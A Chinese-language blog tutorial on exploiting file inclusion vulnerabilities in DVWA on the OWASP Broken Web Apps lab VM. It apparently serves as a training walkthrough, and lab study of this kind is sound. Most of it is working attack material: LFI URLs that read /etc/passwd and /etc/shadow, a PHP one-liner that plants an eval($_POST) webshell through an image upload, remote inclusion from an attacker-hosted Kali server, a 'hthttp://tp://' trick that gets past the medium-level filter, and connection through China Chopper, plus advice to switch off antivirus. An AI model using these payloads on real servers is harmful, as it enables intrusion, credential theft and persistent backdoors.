• 文件包含渗透----当我们无法进行上传渗透时另一种黑客攻击


    当上传是高安全模式时,我们大可不必非要用上传渗透实现对服务器的攻击,我们可以换一种方式。

    1.实验环境

    目标靶机:OWASP_Broken_Web_Apps_VM_1.2
    下载地址
    我们还需要中国菜刀kali这两个工具,把所有的杀毒软件关了,不然中国菜刀可能会被杀毒软件和谐。
    实验原理及危害

    文件包含漏洞:即File Inclusion,意思是文件包含(漏洞),是指当服务器开启allow_url_include选项时,就可
    以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文
    件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。文件包含漏洞分为本地文件包
    含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项(选项开启之后,服务
    器允许包含一个远程的文件)。服务器通过php的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不
    严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到自己的目的。
    1. 文件包含(File Inclusion)即程序通过[包含函数]调用本地或远程文件,以此来实现拓展功能
    2. 被包含的文件可以是各种文件格式,而当文件里面包含恶意代码,则会形成远程命令执行或文件上传漏洞
    3. 文件包含漏洞主要发生在有包含语句的环境中,例如PHP所具备include、require等包含函数
    文件包含分为两类:
    本地文件包含LFI(Local File Inclusion) 当被包含的文件在服务器本地时,就形成本地文件包含
    远程文件包含RFI(Remote File Inclusion) 当被包含的文件在第三方服务器时,叫做远程文件包含
    

    2.低安全级别渗透

    首先我们需要用虚拟机打开目标靶机,并查看ip地址
    在这里插入图片描述

    root@owaspbwa:~# ip a
    1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue state UNKNOWN 
        link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
        inet 127.0.0.1/8 scope host lo
        inet6 ::1/128 scope host 
           valid_lft forever preferred_lft forever
    2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN qlen 1000
        link/ether 00:0c:29:b2:da:ea brd ff:ff:ff:ff:ff:ff
        inet 192.168.13.144/24 brd 192.168.13.255 scope global eth0
        inet6 fe80::20c:29ff:feb2:daea/64 scope link 
           valid_lft forever preferred_lft forever
    

    找到ip后,我们打开网页访问192.168.13.144
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

    1.本地文件包含
    访问本地系统账号信息及其它敏感信息
    http://192.168.13.144/dvwa/vulnerabilities/fi/?page=/etc/passwd
    http://192.168.13.144/dvwa/vulnerabilities/fi/?page=/etc/shadow
    http://192.168.13.144/dvwa/vulnerabilities/fi/?page=/etc/php5/apache2/php.ini
    http://192.168.13.144/dvwa/vulnerabilities/fi/?page=/etc/mysql/my.cnf
    http://192.168.13.144/dvwa/vulnerabilities/fi/?page=/etc/apache2/apache2.conf
    

    这些都是正常的访问:
    在这里插入图片描述
    图片插入一句话工具
    因为在上传高安全模式下,我们只能上传图片,所以我们可以利用图片来产生我们需要的小马文件。

    1. 制作一句话图片木马 
    <?fputs(fopen("yjssjm.php","w"),'<?php eval($_POST[yjssjm]);?>')?>
    #yjssjm.php 是我们生成的文件里面写着<?php eval($_POST[yjssjm]);?>
    3. 上传图片木马文件
    4. 执行文件包含并生成后门
    5. 通过菜刀连接webshell
    提示:
    /var/www/dvwa/hackable/uploads     	#dvwa文件上传访问的目录 
    /var/www/dvwa/vulnerabilities/fi     		#dvwa文件包含访问的目录 yjssjm.php
    

    在这里插入图片描述
    这个时候我们的图片以及是带有木马的图片了。
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    出来这么一堆乱码,就是成功了。
    我们可以去目标靶机OWASP上看一下
    在这里插入图片描述
    在这里插入图片描述

    地址写的时候,将fi后面的全部去掉,换成你生成的小马的文件名
    http://192.168.13.144/dvwa/vulnerabilities/fi/yjssjm.php
    

    在这里插入图片描述
    在这里插入图片描述

    2.远程文件包含

    建立远程服务器,这里使用kali作为远程服务器,有条件的小伙伴可以使用云服务器。
    原理特别简单,我们只需要在远程服务器上创建小马文件,使用远程文件包含,包含到我们这个文件就可以了。
    打开kali,默认用户名是root,密码是toor
    在这里插入图片描述

    打开apache
    root@kali:~# service apache2 start
    root@kali:~# vim /var/www/html/yjssjm.txt   #在网站目录下面创建文件
    <?fputs(fopen("yjssjm1.php","w"),'<?php eval($_POST[yjssjm]);?>')?>
    

    访问一下发现apache已经成功启动
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

    打开中国菜刀,同样的操作,这里是yjssjm1.php
    http://192.168.13.144/dvwa/vulnerabilities/fi/yjssjm1.php
    

    在这里插入图片描述
    同样能入侵服务器。

    3.中安全级别的渗透

    在这里插入图片描述
    查看源码我们发现增加了远程文件包含的安全性
    在这里插入图片描述

    1.本地文件包含

    因为源码只是增加了远程的安全性,所以我们用上面写的低安全性渗透的方法就可以实现了

    2.远程文件包含
     <?php
        $file = $_GET['page']; // The page we wish to display 
        // Bad input validation
        $file = str_replace("http://", "", $file);
        $file = str_replace("https://", "", $file);        
    ?> 
    ==============================================================
    我们仔细看一下这些代码,其实就是如果我匹配到了"http://" 这些字符,那么我就将其替换为空字符
    同样如果我匹配到了"https://" 这些字符,那么我就将其替换为空字符
    如果我们再去访问下面这个网址
    http://192.168.13.144/dvwa/vulnerabilities/fi/?page=http://192.168.13.145/yjssjm.txt
    当然是什么都访问不到,因为它默认把我们等号后面的那个"http://"去掉了,即
    http://192.168.13.144/dvwa/vulnerabilities/fi/?page=192.168.13.145/yjssjm.txt
    这样我们当然会失败,所以我们需要多加一个"http://"
    而添加的方法不唯一,下面举个例子
    http://192.168.13.144/dvwa/vulnerabilities/fi/?page=hthttp://tp://192.168.13.145/yjssjm.txt
    hthttp://tp:// - http:// = http://
    

    只要执行成功,小马文件生成之后,下面的步骤就跟上面的一样了。

    你们的评论和点赞是我写文章的最大动力,蟹蟹。

  • 相关阅读:
    Docker 使用Calico插件配置网络
    Fluentd插件rewrite-tag-filter介绍
    Fluentd Regexp patterns
    gdb 打印数据结构
    g++ -g
    《100-gdb-tips》——查看调用堆栈
    dbghelp.dll 定位异常奔溃信息
    debug skill:烫烫烫屯屯屯
    sizeof()和strlen()的区别
    指针和引用的区别
  • 原文地址:https://www.cnblogs.com/yjssjm/p/12672380.html
Copyright © 2020-2023  润新知